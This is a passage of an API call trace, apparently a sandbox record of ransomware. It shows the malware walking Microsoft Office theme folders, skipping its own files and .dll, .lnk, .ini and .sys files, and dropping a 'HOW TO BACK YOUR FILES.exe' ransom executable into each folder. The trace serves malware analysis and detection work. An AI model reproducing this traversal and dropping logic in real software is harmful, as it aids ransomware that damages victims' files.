	[0074.873] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1
	[0074.873] lstrcmpiW (lpString1="SLATE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.873] lstrcmpiW (lpString1="SLATE", lpString2="Apollon865.txt.exe") returned 1
	[0074.873] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="SLATE" | out: lpString1="SLATE") returned="SLATE"
	[0074.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0088
	[0074.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5c0338
	[0074.873] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0090 | out: ListHead=0x5b76b0, ListEntry=0x5a0090) returned 0x5a0070
	[0074.873] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1
	[0074.873] lstrcmpiW (lpString1="SONORA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.873] lstrcmpiW (lpString1="SONORA", lpString2="Apollon865.txt.exe") returned 1
	[0074.873] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="SONORA" | out: lpString1="SONORA") returned="SONORA"
	[0074.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a00a8
	[0074.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5c03c0
	[0074.873] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a00b0 | out: ListHead=0x5b76b0, ListEntry=0x5a00b0) returned 0x5a0090
	[0074.873] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1
	[0074.873] lstrcmpiW (lpString1="SPRING", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.874] lstrcmpiW (lpString1="SPRING", lpString2="Apollon865.txt.exe") returned 1
	[0074.874] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="SPRING" | out: lpString1="SPRING") returned="SPRING"
	[0074.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a00c8
	[0074.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5c0448
	[0074.874] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a00d0 | out: ListHead=0x5b76b0, ListEntry=0x5a00d0) returned 0x5a00b0
	[0074.874] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1
	[0074.874] lstrcmpiW (lpString1="STRTEDGE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.874] lstrcmpiW (lpString1="STRTEDGE", lpString2="Apollon865.txt.exe") returned 1
	[0074.874] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="STRTEDGE" | out: lpString1="STRTEDGE") returned="STRTEDGE"
	[0074.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a00e8
	[0074.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8a18
	[0074.874] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a00f0 | out: ListHead=0x5b76b0, ListEntry=0x5a00f0) returned 0x5a00d0
	[0074.874] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1
	[0074.874] lstrcmpiW (lpString1="STUDIO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.874] lstrcmpiW (lpString1="STUDIO", lpString2="Apollon865.txt.exe") returned 1
	[0074.874] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="STUDIO" | out: lpString1="STUDIO") returned="STUDIO"
	[0074.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0108
	[0074.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5c04d0
	[0074.874] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0110 | out: ListHead=0x5b76b0, ListEntry=0x5a0110) returned 0x5a00f0
	[0074.874] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1
	[0074.874] lstrcmpiW (lpString1="SUMIPNTG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.874] lstrcmpiW (lpString1="SUMIPNTG", lpString2="Apollon865.txt.exe") returned 1
	[0074.874] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="SUMIPNTG" | out: lpString1="SUMIPNTG") returned="SUMIPNTG"
	[0074.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0128
	[0074.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8988
	[0074.874] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0130 | out: ListHead=0x5b76b0, ListEntry=0x5a0130) returned 0x5a0110
	[0074.874] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1
	[0074.874] lstrcmpiW (lpString1="THEMES.INF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.874] lstrcmpiW (lpString1="THEMES.INF", lpString2="Apollon865.txt.exe") returned 1
	[0074.874] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="THEMES.INF" | out: lpString1="THEMES.INF") returned="THEMES.INF"
	[0074.875] lstrlenW (lpString="THEMES.INF") returned 10
	[0074.875] lstrlenW (lpString="Apollon865") returned 10
	[0074.875] lstrlenW (lpString=".dll") returned 4
	[0074.875] lstrcmpiW (lpString1="THEMES.INF", lpString2=".dll") returned 1
	[0074.875] lstrlenW (lpString=".lnk") returned 4
	[0074.875] lstrcmpiW (lpString1="THEMES.INF", lpString2=".lnk") returned 1
	[0074.875] lstrlenW (lpString=".ini") returned 4
	[0074.875] lstrcmpiW (lpString1="THEMES.INF", lpString2=".ini") returned 1
	[0074.875] lstrlenW (lpString=".sys") returned 4
	[0074.875] lstrcmpiW (lpString1="THEMES.INF", lpString2=".sys") returned 1
	[0074.875] lstrlenW (lpString="THEMES.INF") returned 10
	[0074.875] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="WATER" | out: lpString1="WATER") returned="WATER"
	[0074.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0148
	[0074.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5c0558
	[0074.875] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0150 | out: ListHead=0x5b76b0, ListEntry=0x5a0150) returned 0x5a0130
	[0074.875] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1
	[0074.875] lstrcmpiW (lpString1="WATERMAR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.875] lstrcmpiW (lpString1="WATERMAR", lpString2="Apollon865.txt.exe") returned 1
	[0074.875] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="WATERMAR" | out: lpString1="WATERMAR") returned="WATERMAR"
	[0074.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fda8
	[0074.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b88f8
	[0074.875] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdb0 | out: ListHead=0x5b76b0, ListEntry=0x59fdb0) returned 0x5a0150
	[0074.875] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0
	[0074.875] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0074.875] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdb0
	[0074.875] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR"
	[0074.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b88f8 | out: hHeap=0x580000) returned 1
	[0074.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fda8 | out: hHeap=0x580000) returned 1
	[0074.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR") returned 64
	[0074.875] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR"
	[0074.876] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.876] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.881] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.881] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44b35a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44b35a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.882] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.882] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.882] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.882] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.882] lstrlenW (lpString="Apollon865") returned 10
	[0074.882] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.882] lstrlenW (lpString=".dll") returned 4
	[0074.882] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".dll") returned 1
	[0074.882] lstrlenW (lpString=".lnk") returned 4
	[0074.882] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".lnk") returned 1
	[0074.882] lstrlenW (lpString=".ini") returned 4
	[0074.882] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".ini") returned 1
	[0074.882] lstrlenW (lpString=".sys") returned 4
	[0074.882] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".sys") returned 1
	[0074.882] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.882] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.882] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.882] lstrlenW (lpString="Apollon865") returned 10
	[0074.882] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.882] lstrlenW (lpString=".dll") returned 4
	[0074.882] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".dll") returned 1
	[0074.882] lstrlenW (lpString=".lnk") returned 4
	[0074.882] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".lnk") returned 1
	[0074.882] lstrlenW (lpString=".ini") returned 4
	[0074.882] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".ini") returned 1
	[0074.882] lstrlenW (lpString=".sys") returned 4
	[0074.882] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".sys") returned 1
	[0074.882] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.883] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="WATERMAR.ELM" | out: lpString1="WATERMAR.ELM") returned="WATERMAR.ELM"
	[0074.883] lstrlenW (lpString="WATERMAR.ELM") returned 12
	[0074.883] lstrlenW (lpString="Apollon865") returned 10
	[0074.883] lstrcmpiW (lpString1="TERMAR.ELM", lpString2="Apollon865") returned 1
	[0074.883] lstrlenW (lpString=".dll") returned 4
	[0074.883] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2=".dll") returned 1
	[0074.883] lstrlenW (lpString=".lnk") returned 4
	[0074.883] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2=".lnk") returned 1
	[0074.883] lstrlenW (lpString=".ini") returned 4
	[0074.883] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2=".ini") returned 1
	[0074.883] lstrlenW (lpString=".sys") returned 4
	[0074.883] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2=".sys") returned 1
	[0074.883] lstrlenW (lpString="WATERMAR.ELM") returned 12
	[0074.883] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="WATERMAR.INF" | out: lpString1="WATERMAR.INF") returned="WATERMAR.INF"
	[0074.883] lstrlenW (lpString="WATERMAR.INF") returned 12
	[0074.883] lstrlenW (lpString="Apollon865") returned 10
	[0074.883] lstrcmpiW (lpString1="TERMAR.INF", lpString2="Apollon865") returned 1
	[0074.883] lstrlenW (lpString=".dll") returned 4
	[0074.883] lstrcmpiW (lpString1="WATERMAR.INF", lpString2=".dll") returned 1
	[0074.883] lstrlenW (lpString=".lnk") returned 4
	[0074.883] lstrcmpiW (lpString1="WATERMAR.INF", lpString2=".lnk") returned 1
	[0074.883] lstrlenW (lpString=".ini") returned 4
	[0074.883] lstrcmpiW (lpString1="WATERMAR.INF", lpString2=".ini") returned 1
	[0074.883] lstrlenW (lpString=".sys") returned 4
	[0074.883] lstrcmpiW (lpString1="WATERMAR.INF", lpString2=".sys") returned 1
	[0074.883] lstrlenW (lpString="WATERMAR.INF") returned 12
	[0074.883] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER"
	[0074.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0558 | out: hHeap=0x580000) returned 1
	[0074.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0148 | out: hHeap=0x580000) returned 1
	[0074.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER") returned 61
	[0074.884] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER"
	[0074.884] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.884] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.888] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.888] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44b5bbf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44b5bbf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.888] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.888] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.888] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.888] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.888] lstrlenW (lpString="Apollon865") returned 10
	[0074.888] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.888] lstrlenW (lpString=".dll") returned 4
	[0074.889] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".dll") returned 1
	[0074.889] lstrlenW (lpString=".lnk") returned 4
	[0074.889] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".lnk") returned 1
	[0074.889] lstrlenW (lpString=".ini") returned 4
	[0074.889] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".ini") returned 1
	[0074.889] lstrlenW (lpString=".sys") returned 4
	[0074.889] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".sys") returned 1
	[0074.889] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.889] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.889] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.889] lstrlenW (lpString="Apollon865") returned 10
	[0074.889] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.889] lstrlenW (lpString=".dll") returned 4
	[0074.889] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".dll") returned 1
	[0074.889] lstrlenW (lpString=".lnk") returned 4
	[0074.889] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".lnk") returned 1
	[0074.889] lstrlenW (lpString=".ini") returned 4
	[0074.889] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".ini") returned 1
	[0074.889] lstrlenW (lpString=".sys") returned 4
	[0074.889] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".sys") returned 1
	[0074.889] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.889] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="WATER.ELM" | out: lpString1="WATER.ELM") returned="WATER.ELM"
	[0074.889] lstrlenW (lpString="WATER.ELM") returned 9
	[0074.889] lstrlenW (lpString="Apollon865") returned 10
	[0074.889] lstrlenW (lpString=".dll") returned 4
	[0074.889] lstrcmpiW (lpString1="WATER.ELM", lpString2=".dll") returned 1
	[0074.889] lstrlenW (lpString=".lnk") returned 4
	[0074.889] lstrcmpiW (lpString1="WATER.ELM", lpString2=".lnk") returned 1
	[0074.889] lstrlenW (lpString=".ini") returned 4
	[0074.889] lstrcmpiW (lpString1="WATER.ELM", lpString2=".ini") returned 1
	[0074.890] lstrlenW (lpString=".sys") returned 4
	[0074.890] lstrcmpiW (lpString1="WATER.ELM", lpString2=".sys") returned 1
	[0074.890] lstrlenW (lpString="WATER.ELM") returned 9
	[0074.890] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="WATER.INF" | out: lpString1="WATER.INF") returned="WATER.INF"
	[0074.890] lstrlenW (lpString="WATER.INF") returned 9
	[0074.890] lstrlenW (lpString="Apollon865") returned 10
	[0074.890] lstrlenW (lpString=".dll") returned 4
	[0074.890] lstrcmpiW (lpString1="WATER.INF", lpString2=".dll") returned 1
	[0074.890] lstrlenW (lpString=".lnk") returned 4
	[0074.890] lstrcmpiW (lpString1="WATER.INF", lpString2=".lnk") returned 1
	[0074.890] lstrlenW (lpString=".ini") returned 4
	[0074.890] lstrcmpiW (lpString1="WATER.INF", lpString2=".ini") returned 1
	[0074.890] lstrlenW (lpString=".sys") returned 4
	[0074.890] lstrcmpiW (lpString1="WATER.INF", lpString2=".sys") returned 1
	[0074.890] lstrlenW (lpString="WATER.INF") returned 9
	[0074.890] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG"
	[0074.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8988 | out: hHeap=0x580000) returned 1
	[0074.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0128 | out: hHeap=0x580000) returned 1
	[0074.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG") returned 64
	[0074.890] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG"
	[0074.890] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.890] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.895] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.896] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44b5bbf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44b5bbf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.896] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.896] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.896] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.896] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.896] lstrlenW (lpString="Apollon865") returned 10
	[0074.896] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.896] lstrlenW (lpString=".dll") returned 4
	[0074.896] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".dll") returned 1
	[0074.896] lstrlenW (lpString=".lnk") returned 4
	[0074.896] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".lnk") returned 1
	[0074.896] lstrlenW (lpString=".ini") returned 4
	[0074.896] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".ini") returned 1
	[0074.896] lstrlenW (lpString=".sys") returned 4
	[0074.896] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".sys") returned 1
	[0074.896] lstrlenW (lpString="PREVIEW.GIF") returned 11
